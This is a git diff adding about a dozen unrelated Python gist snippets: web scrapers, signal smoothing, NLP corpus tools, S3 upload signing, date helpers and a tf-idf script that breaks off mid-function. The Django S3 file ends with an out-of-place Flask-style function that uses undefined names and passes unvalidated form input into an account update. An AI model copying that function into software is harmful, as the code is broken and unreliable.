diff --git a/hard-gists/ef9e5c352e54769c4d43/snippet.py b/hard-gists/ef9e5c352e54769c4d43/snippet.py
new file mode 100644
index 00000000..ed0544f4
--- /dev/null
+++ b/hard-gists/ef9e5c352e54769c4d43/snippet.py
@@ -0,0 +1,81 @@
+import requests
+from bs4 import BeautifulSoup as bs
+from itertools import chain, filterfalse
+
+
+langs = {'python': ['(py)', '(pypy)', '(py3)'],
+         'ruby': ['(rb)']}
+
+
+def get_pids(maxpage=17):
+    """ gatter problem ids and return it one by one """
+    baseurl = 'https://algospot.com/judge/problem/list/%d'
+    for pagenum in range(1, maxpage+1):
+        page = requests.get(baseurl % pagenum, timeout=None)
+        soup = bs(page.text)
+        tds = soup.find_all('td', class_='id')
+        for p in tds:
+            yield p.find('a').text.strip()
+
+
+def solved_with(lang):
+    """ return  a filter that checks if provided problem is ever solved with the
+    language or not
+    """
+    if lang not in langs:
+        raise
+    target = langs[lang]
+    baseurl = 'https://algospot.com/judge/problem/stat/%(pid)s/%(page)d/'
+
+    def f(pid):
+        firstpage = requests.get(baseurl % {'pid': pid, 'page': 1})
+        soup = bs(firstpage.text)
+        maxpage = soup.find('span', class_='step-links').find_all('a')[-1].text
+        for pagenum in range(1, int(maxpage)+1):
+            page = requests.get(baseurl % {'pid': pid, 'page': pagenum})
+            soup = bs(page.text)
+            tds = chain(soup.find_all('td', class_='fastest'),
+                        soup.find_all('td', class_='shortest'))
+            ans = ''.join(td.text for td in tds)
+            if any(t in ans for t in target):
+                return True
+        return False
+
+    return f
+
+
+def solved_by(uid):
+    """ return a filter that checks if provided problem is ever solved by the
+    user or not. user is specified by user id, shown in his profile page url.
+    for example user fleo0917(https://algospot.com/user/profile/13227)'s user
+    id is '13227'
+    """
+    solved = set()
+    baseurl = 'https://algospot.com/judge/problem/list/%(page)d?verdict=solved&user_tried=%(uid)s'
+    firstpage = requests.get(baseurl % {'uid': uid, 'page': 1})
+    soup = bs(firstpage.text)
+    maxpage = soup.find('span', class_='step-links').find_all('a')[-1].text
+    for pagenum in range(1, int(maxpage)+1):
+        page = requests.get(baseurl % {'uid': uid, 'page': pagenum})
+        soup = bs(page.text)
+        tds = soup.find_all('td', class_='id')
+        for p in tds:
+            solved.add(p.find('a').text.strip())
+
+    def f(pid):
+        return pid in solved
+
+    return f
+
+
+def gen_url(pid):
+    """ return problem definition url """
+    return 'https://algospot.com/judge/problem/read/%s' % pid
+
+
+if __name__ == '__main__':
+    probs = get_pids()
+    probs = filter(solved_with('python'), probs)
+    probs = filterfalse(solved_by('13227'), probs)
+    for p in probs:
+        print('[%s](%s)' % (p, gen_url(p)))
\ No newline at end of file
diff --git a/hard-gists/efabc30c4b2c9afd8a83/._snippet.py b/hard-gists/efabc30c4b2c9afd8a83/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/efabc30c4b2c9afd8a83/._snippet.py differ
diff --git a/hard-gists/efabc30c4b2c9afd8a83/snippet.py b/hard-gists/efabc30c4b2c9afd8a83/snippet.py
new file mode 100644
index 00000000..3e4260f0
--- /dev/null
+++ b/hard-gists/efabc30c4b2c9afd8a83/snippet.py
@@ -0,0 +1,60 @@
+import numpy as np
+from scipy.linalg import solveh_banded
+
+
+def als_baseline(intensities, asymmetry_param=0.05, smoothness_param=1e6,
+                 max_iters=10, conv_thresh=1e-5, verbose=False):
+  '''Computes the asymmetric least squares baseline.
+  * http://www.science.uva.nl/~hboelens/publications/draftpub/Eilers_2005.pdf
+
+  smoothness_param: Relative importance of smoothness of the predicted response.
+  asymmetry_param (p): if y > z, w = p, otherwise w = 1-p.
+                       Setting p=1 is effectively a hinge loss.
+  '''
+  smoother = WhittakerSmoother(intensities, smoothness_param, deriv_order=2)
+  # Rename p for concision.
+  p = asymmetry_param
+  # Initialize weights.
+  w = np.ones(intensities.shape[0])
+  for i in xrange(max_iters):
+    z = smoother.smooth(w)
+    mask = intensities > z
+    new_w = p*mask + (1-p)*(~mask)
+    conv = np.linalg.norm(new_w - w)
+    if verbose:
+      print i+1, conv
+    if conv < conv_thresh:
+      break
+    w = new_w
+  else:
+    print 'ALS did not converge in %d iterations' % max_iters
+  return z
+
+
+class WhittakerSmoother(object):
+  def __init__(self, signal, smoothness_param, deriv_order=1):
+    self.y = signal
+    assert deriv_order > 0, 'deriv_order must be an int > 0'
+    # Compute the fixed derivative of identity (D).
+    d = np.zeros(deriv_order*2 + 1, dtype=int)
+    d[deriv_order] = 1
+    d = np.diff(d, n=deriv_order)
+    n = self.y.shape[0]
+    k = len(d)
+    s = float(smoothness_param)
+
+    # Here be dragons: essentially we're faking a big banded matrix D,
+    # doing s * D.T.dot(D) with it, then taking the upper triangular bands.
+    diag_sums = np.vstack([
+        np.pad(s*np.cumsum(d[-i:]*d[:i]), ((k-i,0),), 'constant')
+        for i in xrange(1, k+1)])
+    upper_bands = np.tile(diag_sums[:,-1:], n)
+    upper_bands[:,:k] = diag_sums
+    for i,ds in enumerate(diag_sums):
+      upper_bands[i,-i-1:] = ds[::-1][:i+1]
+    self.upper_bands = upper_bands
+
+  def smooth(self, w):
+    foo = self.upper_bands.copy()
+    foo[-1] += w  # last row is the diagonal
+    return solveh_banded(foo, w * self.y, overwrite_ab=True, overwrite_b=True)
diff --git a/hard-gists/efbe081b2bde5662cc1e76db0e12289e/._snippet.py b/hard-gists/efbe081b2bde5662cc1e76db0e12289e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/efbe081b2bde5662cc1e76db0e12289e/._snippet.py differ
diff --git a/hard-gists/efbe081b2bde5662cc1e76db0e12289e/snippet.py b/hard-gists/efbe081b2bde5662cc1e76db0e12289e/snippet.py
new file mode 100644
index 00000000..10f989a2
--- /dev/null
+++ b/hard-gists/efbe081b2bde5662cc1e76db0e12289e/snippet.py
@@ -0,0 +1,9 @@
+import cv2
+
+def diff(img,img1): # returns just the difference of the two images
+  return cv2.absdiff(img,img1)
+  
+def diff_remove_bg(img0,img,img1): # removes the background but requires three images 
+  d1 = diff(img0,img)
+  d2 = diff(img,img1)
+  return cv2.bitwise_and(d1,d2)
\ No newline at end of file
diff --git a/hard-gists/efce2e1a817a01441f08/._snippet.py b/hard-gists/efce2e1a817a01441f08/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/efce2e1a817a01441f08/._snippet.py differ
diff --git a/hard-gists/efce2e1a817a01441f08/snippet.py b/hard-gists/efce2e1a817a01441f08/snippet.py
new file mode 100644
index 00000000..e11ecfad
--- /dev/null
+++ b/hard-gists/efce2e1a817a01441f08/snippet.py
@@ -0,0 +1,30 @@
+import functools
+
+from tornado.gen import Task
+from tornado.ioloop import IOLoop
+from tornado import stack_context
+from concurrent.futures import ThreadPoolExecutor
+
+
+default_executor = ThreadPoolExecutor(10)
+
+
+def run_on_executor(executor=default_executor):
+    def run_on_executor_decorator(func):
+        @functools.wraps(func)
+        def wrapper(*args, **kwargs):
+            task = Task(executor.submit, func, *args, **kwargs)
+            return task
+        return wrapper
+    return run_on_executor_decorator
+
+
+def run_callback(func):
+    @functools.wraps(func)
+    def wrapper(*args, **kwargs):
+        callback = kwargs.pop('callback', None)
+        assert callback
+        res = func(*args, **kwargs)
+        callback = stack_context.wrap(callback)
+        IOLoop.instance().add_callback(lambda: callback(res))
+    return wrapper
diff --git a/hard-gists/efe482bad12c2fae6afe/._snippet.py b/hard-gists/efe482bad12c2fae6afe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/efe482bad12c2fae6afe/._snippet.py differ
diff --git a/hard-gists/efe482bad12c2fae6afe/snippet.py b/hard-gists/efe482bad12c2fae6afe/snippet.py
new file mode 100644
index 00000000..f173b732
--- /dev/null
+++ b/hard-gists/efe482bad12c2fae6afe/snippet.py
@@ -0,0 +1,83 @@
+"""Extract several BOW models from a corpus of text files.
+
+The models are stored in Matrix Market format which can be read
+by gensim. The texts are read from .txt files in the directory
+specified as TOPDIR. The output is written to the current directory."""
+# NB: All strings are utf8 (not unicode).
+import os
+import glob
+import nltk
+import gensim
+
+# A directory with .txt files
+TOPDIR = '../texts/'
+
+
+def iterdocuments(topdir):
+	"""Iterate over documents, yielding a list of utf8 tokens at a time."""
+	for filename in sorted(glob.glob(os.path.join(topdir, '*.txt'))):
+		with open(filename) as fileobj:
+			document = fileobj.read()
+		name = os.path.basename(filename)
+		if isinstance(name, unicode):
+			name = name.encode('utf8')
+		tokenized = gensim.utils.tokenize(document, lowercase=True)
+		yield name, tokenized
+
+
+def ngrams(tokens, n):
+	"""Turn a sequence of tokens into space-separated n-grams."""
+	if n == 1:
+		return tokens
+	return (' '.join(a) for a in nltk.ngrams(tokens, n))
+
+
+class ChunkedCorpus(object):
+	"""Split text files into chunks and extract n-gram BOW model."""
+	def __init__(self, topdir, chunksize=5000, ngram=1, dictionary=None):
+		self.topdir = topdir
+		self.ngram = ngram
+		self.chunksize = chunksize
+		self.chunknames = []
+		if dictionary is None:
+			self.dictionary = gensim.corpora.Dictionary(
+					ngrams(tokens, ngram)
+					for _, tokens in iterdocuments(topdir))
+			self.dictionary.filter_extremes(no_below=5, keep_n=2000000)
+			self.dictionary.compactify()
+		else:
+			self.dictionary = dictionary
+
+	def __iter__(self):
+		for filename, tokens in iterdocuments(self.topdir):
+			for n, chunk in enumerate(gensim.utils.chunkize(
+					ngrams(tokens, self.ngram),
+					self.chunksize,
+					maxsize=2)):
+				self.chunknames.append('%s_%d' % (filename, n))
+				yield self.dictionary.doc2bow(chunk)
+
+
+def main():
+	# Example: extract unigram and bigram models
+	# from texts divided into chunks of 1000 and 5000 tokens.
+	unigram1000 = ChunkedCorpus(TOPDIR, chunksize=1000, ngram=1)
+	unigram1000.dictionary.save('unigram.dict')
+	unigram5000 = ChunkedCorpus(TOPDIR, chunksize=5000, ngram=1,
+			dictionary=unigram1000.dictionary)
+	gensim.corpora.MmCorpus.serialize('unigram1000.mm', unigram1000)
+	with open('chunks1000.filenames', 'w') as out:
+		out.writelines(b'%s\n' % name for name in unigram1000.chunknames)
+	gensim.corpora.MmCorpus.serialize('unigram5000.mm', unigram5000)
+	with open('chunks5000.filenames', 'w') as out:
+		out.writelines(b'%s\n' % name for name in unigram5000.chunknames)
+
+	bigram1000 = ChunkedCorpus(TOPDIR, chunksize=1000, ngram=2)
+	bigram1000.dictionary.save('bigram.dict')
+	bigram5000 = ChunkedCorpus(TOPDIR, chunksize=5000, ngram=2,
+			dictionary=bigram1000.dictionary)
+	gensim.corpora.MmCorpus.serialize('bigram1000.mm', bigram1000)
+	gensim.corpora.MmCorpus.serialize('bigram5000.mm', bigram5000)
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/f07d827a4818fda0db81/._snippet.py b/hard-gists/f07d827a4818fda0db81/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f07d827a4818fda0db81/._snippet.py differ
diff --git a/hard-gists/f07d827a4818fda0db81/snippet.py b/hard-gists/f07d827a4818fda0db81/snippet.py
new file mode 100644
index 00000000..e9f4396d
--- /dev/null
+++ b/hard-gists/f07d827a4818fda0db81/snippet.py
@@ -0,0 +1,76 @@
+"""
+Fix for some issues with the original code from Heroku:
+	https://devcenter.heroku.com/articles/s3-upload-python
+	
+This example is also designed for use with Django, not Flask as in the original.
+"""
+
+import base64
+import hashlib
+import hmac
+import logging
+import os
+import time
+import urllib
+from hashlib import sha1
+
+from django.http import HttpResponseRedirect
+from django.http import JsonResponse
+from django.shortcuts import render
+
+from .forms import UploadForm
+
+
+logger = logging.getLogger(__name__)
+
+def upload(request):
+	# if this is a POST request we need to process the form data
+	if request.method == 'POST':
+		# create a form instance and populate it with data from the request:
+		form = UploadForm(request.POST, request.FILES)
+		# check whether it's valid:
+		if form.is_valid():
+			return HttpResponseRedirect('/uploads/done/')
+
+	# if a GET (or any other method) we'll create a blank form
+	else:
+		form = UploadForm()
+
+	return render(request, 'uploads/upload_form.html', {'form': form})
+
+def sign_s3(request):
+	"""
+	https://devcenter.heroku.com/articles/s3-upload-python
+	"""
+	AWS_ACCESS_KEY = os.environ.get('AWS_ACCESS_KEY')
+	AWS_SECRET_KEY = os.environ.get('AWS_SECRET_KEY')
+	S3_BUCKET = os.environ.get('S3_BUCKET')
+
+	object_name = urllib.parse.quote_plus(request.GET['file_name'])
+	mime_type = request.GET['file_type']
+
+	secondsPerDay = 24*60*60
+	expires = int(time.time()+secondsPerDay)
+	amz_headers = "x-amz-acl:public-read"
+
+	string_to_sign = "PUT\n\n%s\n%d\n%s\n/%s/%s" % (mime_type, expires, amz_headers, S3_BUCKET, object_name)
+
+	encodedSecretKey = AWS_SECRET_KEY.encode()
+	encodedString = string_to_sign.encode()
+	h = hmac.new(encodedSecretKey, encodedString, sha1)
+	hDigest = h.digest()
+	signature = base64.encodebytes(hDigest).strip()
+	signature = urllib.parse.quote_plus(signature)
+	url = 'https://%s.s3.amazonaws.com/%s' % (S3_BUCKET, object_name)
+
+	return JsonResponse({
+		'signed_request': '%s?AWSAccessKeyId=%s&Expires=%s&Signature=%s' % (url, AWS_ACCESS_KEY, expires, signature),
+		'url': url,
+	})
+
+def submit_form():
+	username = request.form["username"]
+	full_name = request.form["full_name"]
+	avatar_url = request.form["avatar_url"]
+	update_account(username, full_name, avatar_url)
+	return redirect(url_for('profile'))
\ No newline at end of file
diff --git a/hard-gists/f0bc519824e46815939b240c4f6a7553/._snippet.py b/hard-gists/f0bc519824e46815939b240c4f6a7553/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f0bc519824e46815939b240c4f6a7553/._snippet.py differ
diff --git a/hard-gists/f0bc519824e46815939b240c4f6a7553/snippet.py b/hard-gists/f0bc519824e46815939b240c4f6a7553/snippet.py
new file mode 100644
index 00000000..b3f5554f
--- /dev/null
+++ b/hard-gists/f0bc519824e46815939b240c4f6a7553/snippet.py
@@ -0,0 +1,37 @@
+import os
+import re
+import hashlib
+import urllib.request
+
+class ImgurDownloader:
+    destinationFolder = 'D:\\imgur-downloads\\'
+    pattern = re.compile('<img alt="" src="//([^"]+)"')
+    
+    def __init__(self, category):
+        self.category = category
+        if not os.path.exists(self.destinationFolder):
+            os.makedirs(self.destinationFolder)
+
+    def getImgurLink(self):
+        return "https://imgur.com/r/%s/top/month" %self.category
+
+    def getImages(self):
+        resource = urllib.request.urlopen(self.getImgurLink())
+        source = resource.read().decode(resource.headers.get_content_charset())
+        matches = self.pattern.findall(source)
+        return list(map(lambda link: "https://" + link, matches))
+
+    def getDestination(self, imgurLink):
+        return self.destinationFolder + hashlib.sha224(imgurLink.encode()).hexdigest() + ".jpg"
+
+    def download(self):
+        images = self.getImages()
+        print("Found %i images" %len(images))
+        for image in images:
+            destination = self.getDestination(image)
+            print(image + " --> " + destination)
+            urllib.request.urlretrieve(image, destination)
+        
+downloader = ImgurDownloader("cats")
+print("About to download from " + downloader.getImgurLink())
+downloader.download()
diff --git a/hard-gists/f112560fd04ce43c53d4/._snippet.py b/hard-gists/f112560fd04ce43c53d4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f112560fd04ce43c53d4/._snippet.py differ
diff --git a/hard-gists/f112560fd04ce43c53d4/snippet.py b/hard-gists/f112560fd04ce43c53d4/snippet.py
new file mode 100644
index 00000000..3577ef32
--- /dev/null
+++ b/hard-gists/f112560fd04ce43c53d4/snippet.py
@@ -0,0 +1,87 @@
+"""
+Data types for the observation report types.
+
+:author: Martin Norbury (martin.norbury@gmail.com)
+"""
+from xml.etree import ElementTree
+from collections import defaultdict
+
+from dateutil.parser import parse as datetime_parser
+
+
+def read_report_from_file(filename):
+    with open(filename) as fsock:
+        return read_report_from_string(fsock.read())
+
+
+def read_report_from_string(report_string):
+    xml_root = ElementTree.fromstring(report_string)
+    return Report(xml_root)
+
+
+class Report(object):
+    def __init__(self, xml):
+        self._xml = xml
+
+    @property
+    def id(self):
+        return self._xml.get('id')
+
+    @property
+    def type(self):
+        return self._xml.get('type')
+
+    @property
+    def start(self):
+        return datetime_parser(self._xml.find('start').text, ignoretz=True)
+
+    @property
+    def end(self):
+        return datetime_parser(self._xml.find('end').text, ignoretz=True)
+
+    @property
+    def state(self):
+        return self._xml.find('state').text
+
+    @property
+    def resource(self):
+        return self._xml.find('resource').text
+
+    @property
+    def events(self):
+        return [Event(x) for x in self._xml.findall('event')]
+
+    @property
+    def events_by_type(self):
+        events_by_type = defaultdict(lambda: [])
+        for event in self.events:
+            events_by_type[event.command].append(event)
+        return events_by_type
+
+    def duration(self):
+        return self.end - self.start
+
+    def command_start_time(self, command, relative=False):
+        events_for_command = self.events_by_type[command]
+        command_start_time = events_for_command[0].time
+        return command_start_time - self.start if relative else command_start_time
+
+
+class Event(object):
+    def __init__(self, xml):
+        self._xml = xml
+
+    @property
+    def command(self):
+        return self._xml.get('command')
+
+    @property
+    def time(self):
+        return datetime_parser(self._xml.find('time').text, ignoretz=True)
+
+    @property
+    def state(self):
+        return self._xml.find('state').text
+
+    def __repr__(self):
+        return "{0} {1} {2}".format(self.command, self.time, self.state)
\ No newline at end of file
diff --git a/hard-gists/f11258583ffcc4728eb71adc0f38e832/._snippet.py b/hard-gists/f11258583ffcc4728eb71adc0f38e832/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f11258583ffcc4728eb71adc0f38e832/._snippet.py differ
diff --git a/hard-gists/f11258583ffcc4728eb71adc0f38e832/snippet.py b/hard-gists/f11258583ffcc4728eb71adc0f38e832/snippet.py
new file mode 100644
index 00000000..ef67e585
--- /dev/null
+++ b/hard-gists/f11258583ffcc4728eb71adc0f38e832/snippet.py
@@ -0,0 +1,42 @@
+from graphviz import Digraph
+import re
+import torch
+import torch.nn.functional as F
+from torch.autograd import Variable
+from torch.autograd import Variable
+import torchvision.models as models
+
+
+def make_dot(var):
+    node_attr = dict(style='filled',
+                     shape='box',
+                     align='left',
+                     fontsize='12',
+                     ranksep='0.1',
+                     height='0.2')
+    dot = Digraph(node_attr=node_attr, graph_attr=dict(size="12,12"))
+    seen = set()
+
+    def add_nodes(var):
+        if var not in seen:
+            if isinstance(var, Variable):
+                value = '('+(', ').join(['%d'% v for v in var.size()])+')'
+                dot.node(str(id(var)), str(value), fillcolor='lightblue')
+            else:
+                dot.node(str(id(var)), str(type(var).__name__))
+            seen.add(var)
+            if hasattr(var, 'previous_functions'):
+                for u in var.previous_functions:
+                    dot.edge(str(id(u[0])), str(id(var)))
+                    add_nodes(u[0])
+    add_nodes(var.creator)
+    return dot
+
+
+inputs = torch.randn(1,3,224,224)
+resnet18 = models.resnet18()
+y = resnet18(Variable(inputs))
+# print(y)
+
+g = make_dot(y)
+g.view()
\ No newline at end of file
diff --git a/hard-gists/f150b59dd68500099a56184dc25f1300/._snippet.py b/hard-gists/f150b59dd68500099a56184dc25f1300/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f150b59dd68500099a56184dc25f1300/._snippet.py differ
diff --git a/hard-gists/f150b59dd68500099a56184dc25f1300/snippet.py b/hard-gists/f150b59dd68500099a56184dc25f1300/snippet.py
new file mode 100644
index 00000000..fadca470
--- /dev/null
+++ b/hard-gists/f150b59dd68500099a56184dc25f1300/snippet.py
@@ -0,0 +1,21 @@
+# Only tested on OSX 10.11.5
+
+import objc
+from Foundation import NSBundle
+Metadata_bundle = NSBundle.bundleWithIdentifier_('com.apple.Metadata')
+
+functions = [
+             ('_MDCopyExclusionList', '@'),
+             ('_MDSetExclusion', '@@I'),
+            ]
+
+objc.loadBundleFunctions(Metadata_bundle, globals(), functions)
+
+# get the current exclusions (returns list of path strings)
+current_exclusions = _MDCopyExclusionList()
+
+# add an exclusion for a path
+result = _MDSetExclusion('/Path/We/Want/To/Exclude', 1)
+
+# remove an exclusion for a path
+result = _MDSetExclusion('/Path/We/No/Longer/Want/To/Exclude', 0)
diff --git a/hard-gists/f15921b2257af1db953f/._snippet.py b/hard-gists/f15921b2257af1db953f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f15921b2257af1db953f/._snippet.py differ
diff --git a/hard-gists/f15921b2257af1db953f/snippet.py b/hard-gists/f15921b2257af1db953f/snippet.py
new file mode 100644
index 00000000..dc751962
--- /dev/null
+++ b/hard-gists/f15921b2257af1db953f/snippet.py
@@ -0,0 +1,61 @@
+
+# reuse freely
+
+from datetime import datetime, timezone, timedelta
+
+# usage: naturaltime.to_text(some_datetime)
+
+def past(dt, dif):
+
+    if dif.days > 2:
+        return '%d days ago' % int(dif.days)
+    
+    if dif.days > 1:
+        return 'yesterday at %s' % dt.strftime('%I:%M %p')
+
+    if dif.seconds <= 60:
+        return '%d seconds ago' % int(dif.seconds)
+
+    if dif.seconds <= (60 * 10):
+        return '%d minutes, %d seconds ago' % \
+            (int(dif.seconds / 60), int(dif.seconds) % 60)
+
+    if dif.seconds <= (60 * 60):
+        return 'about %d minutes ago' % int(dif.seconds / 60)
+
+    return '%d hours, %d minutes ago' % \
+        (int(dif.seconds / (60 * 60)), int(dif.seconds / 60) % 60)
+
+
+def future(dt, dif):
+    if dif.days > 2:
+        return 'in %d days time' % int(dif.days)
+    
+    if dif.days > 1:
+        return 'tomorrow at %s' % dt.strftime('%I:%M %p')
+
+    if dif.seconds <= 60:
+        return '%d seconds from now' % int(dif.seconds)
+
+    if dif.seconds <= (60 * 10):
+        return '%d minutes, %d seconds from now' % \
+            (int(dif.seconds / 60), int(dif.seconds) % 60)
+
+    if dif.seconds <= (60 * 60):
+        return 'about %d minutes from now' % int(dif.seconds / 60)
+
+    return '%d hours, %d minutes from now' % \
+        (int(dif.seconds / (60 * 60)), int(dif.seconds / 60) % 60)
+
+
+def to_text(dt):
+    now = datetime.now(timezone.utc)
+    dif = dt - now
+    smalld = timedelta(seconds=5)
+    
+    if dif < smalld:
+        if abs(dif) < smalld: return 'just now'
+        return past(dt, abs(dif))
+    else:
+        if abs(dif) < smalld: return 'now'
+        return future(dt, abs(dif))
diff --git a/hard-gists/f17910ef74687b3a062bd403f79e340a/._snippet.py b/hard-gists/f17910ef74687b3a062bd403f79e340a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f17910ef74687b3a062bd403f79e340a/._snippet.py differ
diff --git a/hard-gists/f17910ef74687b3a062bd403f79e340a/snippet.py b/hard-gists/f17910ef74687b3a062bd403f79e340a/snippet.py
new file mode 100644
index 00000000..acc705b2
--- /dev/null
+++ b/hard-gists/f17910ef74687b3a062bd403f79e340a/snippet.py
@@ -0,0 +1,140 @@
+import datetime
+from dateutil.relativedelta import relativedelta
+
+def today(date=None,iso=False):
+    if date is None: date=datetime.date.today()
+    if iso: return date.isoformat()
+    else: return date
+
+def yesterday(date=None,iso=False):
+    if date is None: date=today()
+    yesterday = date.today() - relativedelta(days=1)
+    if iso: return yesterday.isoformat()
+    return yesterday
+
+def tomorrow(date=None,iso=False):
+    if date is None: date=today()
+    tomorrow=date.today() + relativedelta(days=1)
+    if iso: return tomorrow.isoformat()
+    return tomorrow
+
+def last_week(date=None,daterange=True,iso=False):
+    if date is None: date=today()
+    start_date = date + relativedelta(days=-date.weekday(), weeks=-1)
+    end_date = start_date + relativedelta(days=6)
+    if daterange:
+        if iso: return start_date.isoformat(),end_date.isoformat()
+        else: return start_date, end_date
+
+def this_week(date=None,daterange=True,iso=False):
+    if date is None: date=today()
+    start_date = date + relativedelta(days=-date.weekday())
+    end_date = start_date + relativedelta(days=6)
+    if daterange:
+        if iso:
+            return start_date.isoformat(), end_date.isoformat()
+        else:
+            return start_date, end_date
+    
+def next_week(date=None,daterange=True,iso=False):
+    if date is None: date=today()
+    start_date = date + relativedelta(days=-date.weekday(), weeks=1)
+    end_date = start_date + relativedelta(days=6)
+    if daterange:
+        if iso:
+            return start_date.isoformat(), end_date.isoformat()
+        else:
+            return start_date, end_date
+
+def later_this_week(date=None,incl=False,daterange=True,iso=False):
+    date=today(date)
+    start_date, end_date = this_week(date)
+    if not incl: start_date=tomorrow(date)
+    else: start_date=today(date)
+    #Really need to check if today is last day of week?
+    if daterange:
+        if iso:
+            return start_date.isoformat(), end_date.isoformat()
+        else:
+            return start_date, end_date
+        
+def earlier_this_week(date=None,incl=False,daterange=True,iso=False):
+    date=today(date)
+    start_date, end_date = this_week(date)
+    if not incl: end_date=yesterday(date)
+    else: end_date=today(date)
+    #Really need to check if today is first day of week?
+    if daterange:
+        if iso:
+            return start_date.isoformat(), end_date.isoformat()
+        else:
+            return start_date, end_date
+    
+def last_month(date=None,daterange=True,iso=False):
+    if date is None: date=today()
+    end_date = date.replace(day=1)- relativedelta(days=1)
+    start_date = end_date.replace(day=1)
+    if daterange:
+        if iso: return start_date.isoformat(),end_date.isoformat()
+        else: return start_date, end_date
+
+def next_month(date=None,daterange=True,iso=False):
+    if date is None: date=today()
+    end_date = date+ relativedelta(months=2)
+    end_date=end_date.replace(day=1)- relativedelta(days=1)
+    start_date = end_date.replace(day=1)
+    if daterange:
+        if iso: return start_date.isoformat(),end_date.isoformat()
+        else: return start_date, end_date
+
+def this_month(date=None,daterange=True,iso=False):
+    if date is None: date=today()
+    end_date = next_month(date)[0]- relativedelta(days=1)
+    start_date = end_date.replace(day=1)
+    if daterange:
+        if iso: return start_date.isoformat(),end_date.isoformat()
+        else: return start_date, end_date
+
+def earlier_this_month(date=None,incl=False,daterange=True,iso=False):
+    if date is None: date=today()
+    start_date, end_date = this_month(date)
+    if not incl: end_date=yesterday(date)
+    else: end_date=today(date)
+    #Really need to check if today is first day of month?
+    if daterange:
+        if iso:
+            return start_date.isoformat(), end_date.isoformat()
+        else:
+            return start_date, end_date
+    
+def later_this_month(date=None,incl=False,daterange=True,iso=False):
+    if date is None: date=today()
+    start_date, end_date = this_month(date)
+    if not incl: start_date=tomorrow(date)
+    else: start_date=today(date)
+    #Really need to check if today is last day of month?
+    if daterange:
+        if iso:
+            return start_date.isoformat(), end_date.isoformat()
+        else:
+            return start_date, end_date   
+
+#via http://stackoverflow.com/a/2384407/454773
+MON, TUE, WED, THU, FRI, SAT, SUN = range(7)
+def day_lastweek(day=MON,date=None,iso=False):
+    if date is None: date=today()
+    qday= last_week()[0] + relativedelta(days=day)
+    if iso: return qday.isoformat()
+    return qday
+
+def day_thisweek(day=MON,date=None,iso=False):
+    if date is None: date=today()
+    qday= this_week()[0] + relativedelta(days=day)
+    if iso: return qday.isoformat()
+    return qday
+
+def day_nextweek(day=MON,date=None,iso=False):
+    if date is None: date=today()
+    qday= next_week()[0] + relativedelta(days=day)
+    if iso: return qday.isoformat()
+    return qday
\ No newline at end of file
diff --git a/hard-gists/f18b7b54830270b01b99ba5e78024a39/._snippet.py b/hard-gists/f18b7b54830270b01b99ba5e78024a39/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f18b7b54830270b01b99ba5e78024a39/._snippet.py differ
diff --git a/hard-gists/f18b7b54830270b01b99ba5e78024a39/snippet.py b/hard-gists/f18b7b54830270b01b99ba5e78024a39/snippet.py
new file mode 100644
index 00000000..659e5573
--- /dev/null
+++ b/hard-gists/f18b7b54830270b01b99ba5e78024a39/snippet.py
@@ -0,0 +1,105 @@
+import graphlab as gl
+import pandas
+import numpy as np
+import string
+import re
+import unicodedata
+import math
+# attempt to load text files
+import os
+files = os.listdir(os.getcwd())
+def get_word_vector(file_name):
+    word_dict = {}
+    file_object = open(file_name,'r')
+    file_text = file_object.readlines()
+    file_object.close()
+    final_text = ""
+    replace_punctuation = string.maketrans(string.punctuation, ' '*len(string.punctuation))
+    for line in file_text:
+        new_line = line.decode('utf8', 'replace').encode('ascii', 'replace')
+        new_line = new_line.translate(replace_punctuation).lower()
+        final_text = final_text + new_line.strip()
+    
+    word_list = final_text.split()
+
+    for word in word_list:
+        if word_dict.has_key(word):
+            word_dict[word] = word_dict[word]+1
+        else:
+            word_dict[word] = 1
+    return word_dict
+text_files = []
+for a_filename in files:
+    if a_filename.find(".txt") >0:
+        text_files.append(a_filename)
+word_lists = {}
+
+for a_file in text_files:
+    word_lists[a_file] = get_word_vector(a_file)
+
+textFrame={}
+for key in word_lists.keys():
+    textFrame[key] = gl.SFrame({'words':word_lists[key].keys(), 'count': word_lists[key].values()})
+
+for key in textFrame.keys():
+    textFrame[key]['filename'] = key
+
+
+for i in range(0,len(text_files)):
+    if i == 0:
+        all_files = textFrame[text_files[i]]
+    else:
+        all_files = all_files.append(textFrame[text_files[i]])
+
+
+word_df = all_files.groupby(['words'],{'df':gl.aggregate.COUNT()})
+
+all_files = all_files.join(word_df,on='words')
+
+all_files['tf_idf'] = all_files.apply(lambda x: x['count']/(math.log(1+x['df'])))
+
+word_corpus = all_files['words'].unique()
+
+word_corpus = gl.SFrame({'words':word_corpus})
+
+def get_cosine_similarity(file1, file2):
+    doc1 = all_files[all_files['filename']==file1]
+    doc2 = all_files[all_files['filename']==file2]
+    compare_vec = word_corpus.join(doc1[['words', 'tf_idf']], on='words', how='left')
+    compare_vec = compare_vec.rename({'tf_idf':'file1_tf_idf'})
+    compare_vec = compare_vec.join(doc2[['words', 'tf_idf']], on='words', how='left')
+    compare_vec = compare_vec.rename({'tf_idf':'file2_tf_idf'})
+    compare_vec = compare_vec.fillna('file1_tf_idf',0.0)
+    compare_vec = compare_vec.fillna('file2_tf_idf',0.0)
+    compare_vec['xx'] = compare_vec.apply(lambda x: x['file1_tf_idf']**2)
+    compare_vec['yy'] = compare_vec.apply(lambda x: x['file2_tf_idf']**2)
+    compare_vec['xy'] = compare_vec.apply(lambda x: x['file1_tf_idf']*x['file2_tf_idf'])
